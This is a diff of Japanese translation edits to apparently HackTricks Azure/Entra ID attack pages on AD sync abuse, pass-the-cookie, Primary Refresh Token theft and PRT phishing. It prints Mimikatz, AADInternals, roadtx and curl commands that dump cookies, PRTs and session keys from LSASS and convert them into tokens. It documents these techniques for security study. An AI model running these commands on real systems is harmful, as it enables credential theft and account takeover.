[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)で述べられているように、オンプレミスのAD内のADユーザーの**`ProxyAddress`**の値を変更し、Entra ID管理者ユーザーのメールアドレスを追加し、ADとEntra IDのユーザーのUPNが一致することを確認することが可能でした（これが再びEntra IDです）、例えば**`SMTP:admin@domain.onmicrosoft.com`**のように。そして、これにより**このユーザーの同期を強制**することができ、ユーザーのパスワードが知られていれば、Entra IDで使用されている管理者に**アクセスする**ことができました。
|
||||
|
||||
Entra ID からオンプレミス AD に新しいユーザーを同期するための要件は以下の通りです。唯一の要件は：
|
||||
Entra IDからオンプレミスADに新しいユーザーを同期させるための要件は以下の通りです：
|
||||
|
||||
- オンプレミス AD 内のユーザーの属性を制御する（または新しいユーザーを作成する権限を持つ）
|
||||
- Entra ID からオンプレミス AD に同期するためのユーザーを知っていること
|
||||
- **ハードマッチ**を行うために、Entra ID ユーザーの immutableID 属性をオンプレミス AD ユーザーに変更できる必要があるかもしれません。
|
||||
- オンプレミスAD内のユーザーの属性を制御する（または新しいユーザーを作成する権限を持つ）
|
||||
- Entra IDからオンプレミスADに同期するためのユーザーがクラウド専用であることを知っている
|
||||
- **ハードマッチ**を行うために、Entra IDユーザーからオンプレミスADユーザーへのimmutableID属性を変更できる必要があるかもしれません。
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID はもはや Entra ID からオンプレミス AD への管理者の同期を許可していません。
|
||||
> また、これは **MFA をバイパスすることはありません**。
|
||||
> Entra IDはもはやEntra IDからオンプレミスADへの管理者の同期を許可していません。
|
||||
> また、これは**MFAをバイパスしません**。
|
||||
|
||||
|
||||
|
||||
@@ -26,4 +26,4 @@ Entra ID からオンプレミス AD に新しいユーザーを同期するた
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ローカルトークンストレージとセキュリティ考慮事項
|
||||
|
||||
### Azure CLI (コマンドラインインターフェイス)
|
||||
### Azure CLI (コマンドラインインターフェース)
|
||||
|
||||
トークンと機密データはAzure CLIによってローカルに保存されており、セキュリティ上の懸念があります：
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ Azureに参加しているマシンでは、両方のマシンが**NegoEx**認
|
||||
超簡略化すると：
|
||||
|
||||
- 接続を開始するマシン（クライアント）は、**ユーザーのためにEntra IDから証明書が必要**です。
|
||||
- クライアントは、PRTやその他の詳細を含むJSON Web Token (JWT) ヘッダーを作成し、派生キー（セッションキーとセキュリティコンテキストを使用）を使って署名し、**Entra IDに送信**します。
|
||||
- クライアントは、PRTやその他の詳細を含むJSON Web Token（JWT）ヘッダーを作成し、派生キー（セッションキーとセキュリティコンテキストを使用）を使って署名し、**Entra IDに送信**します。
|
||||
- Entra IDは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答**します。
|
||||
|
||||
このシナリオでは、[**Pass the PRT**](az-primary-refresh-token-prt.md)攻撃に必要なすべての情報を取得した後：
|
||||
|
||||
@@ -14,13 +14,13 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
## 攻撃
|
||||
|
||||
難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API（**DPAPI**）を介して暗号化されています。これは、クッキーが属するユーザーに結びついた暗号化された[キー](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)を使用して暗号化されています。これに関する詳細情報は次のリンクで確認できます：
|
||||
難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API（**DPAPI**）を介して暗号化されています。これは、クッキーが属するユーザーに結びついた暗号的な[キー](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)を使用して暗号化されています。これに関する詳細情報は次のリンクで確認できます：
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Mimikatzを手に入れれば、次のコマンドを使用して、暗号化されていても**ユーザーのクッキーを抽出**することができます：
|
||||
Mimikatzを手に入れれば、次のコマンドを使用して、暗号化されているにもかかわらず**ユーザーのクッキーを抽出**することができます：
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## What is a Primary Refresh Token (PRT)?
|
||||
|
||||
**Primary Refresh Token (PRT)**は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、**セッションキー**（所有証明キーとも呼ばれる）が付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータ（クライアントが読み取れない）であり、セッションキーはトークンを要求する際にPRTを含むJWTを**署名**するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキーが必要です。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。
|
||||
**Primary Refresh Token (PRT)**は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、**セッションキー**（所有証明キーとも呼ばれる）が付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータ（クライアントが読み取れない）であり、セッションキーはトークンを要求する際にPRTを含むJWTを**署名**するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキーを必要とします。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。
|
||||
|
||||
Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスに**TPM**（Trusted Platform Module）がある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合（例：多くのVMや古いシステム）、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環として**メモリからPRTとセッションキーをダンプする**ことを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。
|
||||
一般的なリフレッシュトークン（通常はアプリケーション固有）とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。
|
||||
Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスに**TPM**（Trusted Platform Module）がある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合（例：多くのVMや古いシステム）、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環として**メモリからPRTとセッションキーをダンプする**ことを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。一般的なリフレッシュトークン（通常はアプリケーション固有）とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。
|
||||
|
||||
## How Does a PRT Work?
|
||||
|
||||
@@ -25,7 +24,7 @@ PRTの動作を簡略化して説明します：
|
||||
|
||||
3. **Single Sign-On (SSO):**
|
||||
|
||||
- Entra IDで保護されたアプリケーション（例：Microsoft 365アプリ、SharePoint、Teams）にアクセスするたびに、デバイスは保存されたPRTを静かに使用して、そのアプリの特定のアクセストークンを要求し取得します。
|
||||
- Entra IDで保護されたアプリケーション（例：Microsoft 365アプリ、SharePoint、Teams）にアクセスするたびに、デバイスは保存されたPRTを使用して、そのアプリの特定のアクセストークンを要求し取得します。
|
||||
|
||||
- PRTが認証を透過的に処理するため、資格情報を繰り返し入力する必要はありません。
|
||||
|
||||
@@ -64,13 +63,13 @@ dsregcmd /status
|
||||
```
|
||||
## PRTを渡す
|
||||
|
||||
[この投稿](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)によると、**TPMバインディングのない**Windowsデバイスでは、PRTとそのセッションキーはLSASS（CloudAPプラグイン）に存在します。そのデバイスでローカル管理者/SYSTEMの権限があれば、PRTバイナリとDPAPIで暗号化されたセッションキーを**LSASSから読み取り、DPAPIを使用してセッションキーを復号し、署名キーを導出**して有効なPRTクッキー（`x‑ms‑RefreshTokenCredential`）を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。
|
||||
[この投稿](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)によると、**TPMバインディングのない**Windowsデバイスでは、PRTとそのセッションキーはLSASS（CloudAPプラグイン）に存在します。そのデバイスでローカル管理者/SYSTEMの権限があれば、PRTブロブとDPAPIで暗号化されたセッションキーを**LSASSから読み取り、DPAPIを使用してセッションキーを復号し、署名キーを導出**して有効なPRTクッキー（`x‑ms‑RefreshTokenCredential`）を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. **PRT（プライマリリフレッシュトークン）がLSASS**（ローカルセキュリティ機関サブシステムサービス）から抽出され、後で使用するために保存されます。
|
||||
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号する必要があります。DPAPI（データ保護API）に関する詳細情報は、これらのリソースで見つけることができます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie攻撃](az-pass-the-cookie.md)を参照してください。
|
||||
3. セッションキーの復号後、**PRTのための導出キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、導出キーはクッキーを構成するJWT（JSON Webトークン）に署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)からアクセスできます。
|
||||
1. **PRT（プライマリリフレッシュトークン）がLSASS**（ローカルセキュリティ認証サブシステムサービス）から抽出され、後で使用するために保存されます。
|
||||
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号する必要があります。DPAPI（データ保護API）に関する詳細情報は、これらのリソースで確認できます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie攻撃](az-pass-the-cookie.md)を参照してください。
|
||||
3. セッションキーの復号後、**PRTのための導出キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、導出キーはクッキーを構成するJWT（JSON Web Token）に署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)からアクセスできます。
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
@@ -106,9 +105,9 @@ Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<Encrypte
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatzは、「Signature with key」という行の後に署名されたJWT（`PRT cookie`）を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、`login.microsoftonline.com`に移動し、`x-ms-RefreshTokenCredential`という名前のクッキーをこのJWTの値で設定します。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱います（PRTクッキーはSSOが発生したかのように提示されます）ので、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可します（PRTはすでに認証されているため、MFAをバイパスします）。
|
||||
Mimikatzは、「Signature with key」という行の後に署名されたJWT（`PRT cookie`）を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、`login.microsoftonline.com`に移動し、`x-ms-RefreshTokenCredential`という名前のクッキーをこのJWTの値で設定できます。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱います（PRTクッキーはSSOが発生したかのように提示されます）ので、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可します（PRTはすでに認証されているため、MFAをバイパスします）。
|
||||
|
||||
また、**`roadtx`**と**`roadrecon`**をPRTクッキーのPRTと共に使用してユーザーを偽装することもできます *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*。
|
||||
また、**`roadtx`**と**`roadrecon`**を使用してPRTクッキーのPRTを使ってユーザーを偽装することもできます *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*。
|
||||
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
@@ -136,7 +135,7 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
これは新しいPRTクッキー（ノンス付き）を取得し、それを使用してAzure AD Graph APIのアクセストークンを取得します（ユーザーの代理としてクラウドアクセスを示しています）。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。
|
||||
これは新しいPRTクッキー（ノンス付き）を取得し、それを使用してAzure AD Graph APIのアクセストークンを取得します（ユーザーを代表してクラウドアクセスを示しています）。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。
|
||||
|
||||
### Mimikatz + roadtx
|
||||
|
||||
@@ -144,7 +143,7 @@ Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- 現在、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンにMFAクレームが含まれていることがわかります。これは、今回使用したPRTにもMFAクレームが含まれていたためです。
|
||||
- これで、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンに MFA クレームが含まれていることがわかります。これは、今回使用した PRT にも MFA クレームが含まれていたためです。
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
@@ -159,17 +158,17 @@ roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <deri
|
||||
```
|
||||
## 保護されたPRTの悪用
|
||||
|
||||
前述の保護にもかかわらず、デバイスをすでに侵害した攻撃者（ローカルユーザーまたはSYSTEMとして）は、WindowsのトークンブローカーAPIとセキュリティコンポーネントを利用して**新しいアクセストークンを取得するためにPRTを悪用する**ことができます。攻撃者は生のPRTやキーを**抽出する**のではなく、実際には**「Windowsに自分の代わりにPRTを使用するように頼む」**のです。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、**組み込みの認証フローを悪用することに焦点を当てています**（未修正の脆弱性は必要ありません）。
|
||||
前述の保護にもかかわらず、デバイスをすでに侵害した攻撃者（ローカルユーザーまたはSYSTEMとして）は、WindowsのトークンブローカーAPIおよびセキュリティコンポーネントを利用して**新しいアクセストークンを取得するためにPRTを悪用する**ことができます。攻撃者は生のPRTやキーを**抽出する**のではなく、基本的に**PRTを自分の代わりに使用するようWindowsに「要求」します**。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、**組み込みの認証フローを悪用することに焦点を当てています**（未修正の脆弱性は必要ありません）。
|
||||
|
||||
### WindowsトークンブローカーアーキテクチャとSSOフロー
|
||||
|
||||
最新のWindowsは、ユーザーモードとLSASS（ローカルセキュリティ機関）の両方にコンポーネントを含む組み込みの**トークンブローカー**スタックを介してクラウド認証を処理します。このアーキテクチャの重要な部分は以下の通りです：
|
||||
最新のWindowsは、組み込みの**トークンブローカー**スタックを介してクラウド認証を処理します。これには、ユーザーモードとLSASS（ローカルセキュリティ機関）の両方のコンポーネントが含まれます。このアーキテクチャの重要な部分は次のとおりです。
|
||||
|
||||
- **LSASS CloudAPプラグイン：** デバイスがAzure ADに参加している場合、LSASSはPRTとトークンリクエストを管理するクラウド認証パッケージ（例：`CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`）をロードします。LSASS（SYSTEMとして実行）はPRTの保存、更新、使用を調整し、TPMとインターフェースを介して暗号操作（セッショントークンでPRTチャレンジに署名するなど）を実行します。
|
||||
- **LSASS CloudAPプラグイン:** デバイスがAzure ADに参加している場合、LSASSはPRTとトークンリクエストを管理するクラウド認証パッケージ（例：`CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`）をロードします。LSASS（SYSTEMとして実行）は、PRTの保存、更新、使用を調整し、TPMとインターフェースを介して暗号操作（セッショントークンでPRTチャレンジに署名するなど）を実行します。
|
||||
|
||||
- **Webアカウントマネージャー（WAM）：** Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンをリクエストできるユーザーモードのフレームワーク（COM/WinRT APIを介してアクセス可能）です。WAMはユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。
|
||||
- **Webアカウントマネージャー（WAM）:** Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンを要求できるユーザーモードのフレームワーク（COM/WinRT APIを介してアクセス可能）です。WAMは、ユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。
|
||||
|
||||
- **BrowserCore.exeとトークンブローカーCOMインターフェース：** ブラウザSSOのために、Windowsには**BrowserCore.exe**というコンポーネントが含まれています（*Windows Security\BrowserCore*の下にあります）。これは、ブラウザ（Edge、Chromeの拡張機能など）がAzure ADログインのためにPRT派生のSSOトークンを取得するために使用するネイティブメッセージングホストです。内部では、BrowserCoreは`MicrosoftAccountTokenProvider.dll`によって提供されるCOMオブジェクトを利用してPRTベースのクッキー/トークンを取得します。本質的に、このCOMインターフェースは、ユーザーとして実行されている任意のプロセスがSSOトークンを取得するために呼び出すことができるファーストパーティの「トークンブローカー」APIです（ユーザーがLSASSに有効なPRTを持っている場合）。
|
||||
- **BrowserCore.exeおよびトークンブローカーCOMインターフェース:** ブラウザSSOのために、Windowsには**BrowserCore.exe**というコンポーネントが含まれています（*Windows Security\BrowserCore*の下にあります）。これは、ブラウザ（Edge、Chromeの拡張機能など）がAzure ADログインのためにPRT派生のSSOトークンを取得するために使用するネイティブメッセージングホストです。内部では、BrowserCoreは`MicrosoftAccountTokenProvider.dll`によって提供されるCOMオブジェクトを利用してPRTベースのクッキー/トークンを取得します。本質的に、このCOMインターフェースは、ユーザーとして実行されている任意のプロセスがSSOトークンを取得するために呼び出すことができるファーストパーティの「トークンブローカー」APIです（ユーザーがLSASSに有効なPRTを持っている場合）。
|
||||
|
||||
Azure ADに参加しているユーザーがリソース（たとえば、Azureポータル）にアクセスしようとすると、フローは通常次のようになります：アプリケーションがWAMまたはBrowserCoreのCOMインターフェースに呼び出し、これがLSASSと通信します。LSASSはPRTとセッショントークン（TPMによって保護されている）を使用して**SSOトークン**を生成します。これはしばしば**PRTクッキー**と呼ばれ、暗号化されたPRTとノンスを含む特別なJWTで、PRTのセッショントークンから派生したキーで署名されています。このクッキーはAzure ADに送信され（`x-ms-RefreshTokenCredential`ヘッダー内）、デバイスとユーザーが有効なPRTを保持していることを証明し、Azure ADがさまざまなアプリケーションのために標準のOAuthリフレッシュおよびアクセストークンを発行できるようにします。特に、PRTに存在する任意の多要素認証（MFA）要求は、このSSOプロセスを介して取得されたトークンに引き継がれるため、PRT派生のトークンはMFA保護されたリソースを満たすことができます。
|
||||
|
||||
@@ -179,7 +178,7 @@ Azure ADに参加しているユーザーがリソース（たとえば、Azure
|
||||
|
||||
#### **BrowserCore（MicrosoftAccountTokenProvider COM）**
|
||||
|
||||
BrowserCoreはPRTクッキーを取得するためのCOMクラス（`MicrosoftAccountTokenProvider`、CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`）を公開しています。このCOM APIは、Azure AD SSOのためにブラウザ（Chrome/Edge拡張機能）によって正当に呼び出されます。
|
||||
BrowserCoreは、PRTクッキーを取得するためのCOMクラス（`MicrosoftAccountTokenProvider`、CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`）を公開しています。このCOM APIは、Azure AD SSOのためにブラウザ（Chrome/Edge拡張機能）によって正当に呼び出されます。
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
@@ -258,13 +257,13 @@ $result.AccessToken
|
||||
|
||||
### **ユーザーの偽装とトークン取得**
|
||||
|
||||
Admin/SYSTEMは、他のユーザーの実行中のセッションを偽装して、トークン生成のためにBrowserCoreまたはWAMを呼び出すことができます。
|
||||
管理者/SYSTEMは、他のユーザーの実行中のセッションを偽装して、トークン生成のためにBrowserCoreまたはWAMを呼び出すことができます。
|
||||
|
||||
これには、ユーザープロセス（例：`explorer.exe`）を偽装し、前のセクションでコメントされた任意の技術を使用してトークンブローカーAPIを呼び出します。
|
||||
|
||||
### **直接LSASSおよびトークンブローカーとの相互作用（高度な技術）**
|
||||
|
||||
管理者はLSASSを使用してPRTを悪用することができます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用して（APIフックやRPCなどの技術を介して、利用可能な場合）PRTクッキーを生成することを意味するかもしれません。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示されるときです。このような攻撃はかなり複雑で状況依存です。より直接的な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュします（DPAPIで暗号化されています）。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出し（管理者が取得できるユーザーのマスターキーを使用して）、特定のアプリケーションのリフレッシュトークンを直接盗むことを試みるかもしれません。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されます（すべての適切なクレームを持って）暗号を解読しようとするのではなく。
|
||||
管理者は依然としてLSASSを使用してPRTを悪用できます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用して（APIフックやRPCなどの技術を介して、利用可能な場合）PRTクッキーを生成することを意味するかもしれません。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示されるときです。このような攻撃はかなり複雑で状況依存です。より簡単な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュします（DPAPIで暗号化されています）。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出しようとするかもしれません（管理者が取得できるユーザーのマスターキーを使用して）特定のアプリケーションのリフレッシュトークンを直接盗むために。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されます（すべての適切なクレームを持って）暗号を解読しようとするのではなく。
|
||||
|
||||
## PRTのフィッシング
|
||||
|
||||
@@ -273,14 +272,14 @@ Admin/SYSTEMは、他のユーザーの実行中のセッションを偽装し
|
||||
### **なぜこれが機能するのか**
|
||||
|
||||
- **PRT**は**デバイスにバインドされており、（ほぼ）すべてのEntra保護アプリの**SSOを可能にします。
|
||||
- **Brokerクライアント + DRS**の組み合わせにより、フィッシングされた**リフレッシュトークン**を**PRTに交換**できます。
|
||||
- **MFAはバイパスされません**：ユーザーはフィッシング中に**MFAを実行**し、**MFAクレームが**結果として得られるPRTに伝播し、攻撃者が**さらなるプロンプトなしで**アプリにアクセスできるようにします。
|
||||
- **ブローカークライアント + DRS**の組み合わせにより、フィッシングされた**リフレッシュトークン**を**PRTに交換**できます。
|
||||
- **MFAはバイパスされません**：**ユーザーはフィッシング中にMFAを実行**し、**MFAクレームは**結果として得られるPRTに伝播し、攻撃者が**さらなるプロンプトなしで**アプリにアクセスできるようにします。
|
||||
|
||||
**前提条件**：
|
||||
|
||||
- **BrokerクライアントID**（`29d9ed98-a469-4536-ade2-f981bc1d605e`）と**DRSスコープ/リソース**を使用した**デバイスコードによるユーザー認証**（例：**`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`**または**`https://enrollment.manage.microsoft.com/`**）。
|
||||
- **ユーザーがEntra IDでデバイスを登録できる**（**デフォルト：許可**、ただし制限またはクォータ制限される可能性があります）。
|
||||
- **デバイスコードを無効にする**CAポリシーや、ターゲットアプリに**準拠した/ハイブリッドデバイスを要求する**ポリシーがないこと（これらはPRTの発行を停止しませんが、保護されたアプリにアクセスするための**使用**をブロックします）。
|
||||
- **ブローカークライアントID**（`29d9ed98-a469-4536-ade2-f981bc1d605e`）と**DRSスコープ/リソース**を使用した**デバイスコードによるユーザー認証**（例：**`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`**または**`https://enrollment.manage.microsoft.com/`**）。
|
||||
- **ユーザーはEntra IDでデバイスを登録できる**（**デフォルト：許可**、ただし制限またはクォータ制限される可能性があります）。
|
||||
- **デバイスコードを無効にする**CAポリシーや、ターゲットアプリに**準拠した/ハイブリッドデバイスを要求する**ポリシーが**ないこと**（これらはPRTの発行を停止しませんが、**保護されたアプリにアクセスするために使用することを**ブロックします）。
|
||||
- **攻撃者が制御するホスト**でフローを実行し、トークン/デバイスキーを保持します。
|
||||
|
||||
**攻撃フロー**：
|
||||
@@ -292,15 +291,15 @@ curl -s -X POST \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **被害者がMicrosoftのサイト**（正規のUI）にサインインし、**MFA**を完了すると、**攻撃者はBrokerクライアント用のDRSスコープのリフレッシュトークン**を受け取ります。
|
||||
2. **被害者がMicrosoftのサイト**（正規のUI）にサインインし、**MFA**を完了すると、**攻撃者はBrokerクライアント用のDRSスコープ付きリフレッシュトークン**を受け取ります。
|
||||
|
||||
3. **そのリフレッシュトークンを使用してテナントに不正なデバイスを登録**します（デバイスオブジェクトが作成され、被害者にリンクされます）。
|
||||
|
||||
4. **リフレッシュトークン + デバイスID/キー**を交換して**PRTにアップグレード**します → **攻撃者のデバイスにバウンドされたPRT**。
|
||||
|
||||
5. **（オプションの永続性）**: MFAが新鮮であれば、**長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録**します。
|
||||
5. **（オプションの持続性）**: MFAが新鮮であれば、**長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録**します。
|
||||
|
||||
6. **悪用**: **PRT**（または**PRTクッキーをミント**）を引き換えて、**ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリ**の**アクセストークン**を取得します。
|
||||
6. **悪用**: **PRTを引き換え**（または**PRTクッキーを生成**）して、**ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリ**の**アクセストークン**を取得します。
|
||||
|
||||
|
||||
### 公開ツールと概念実証
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
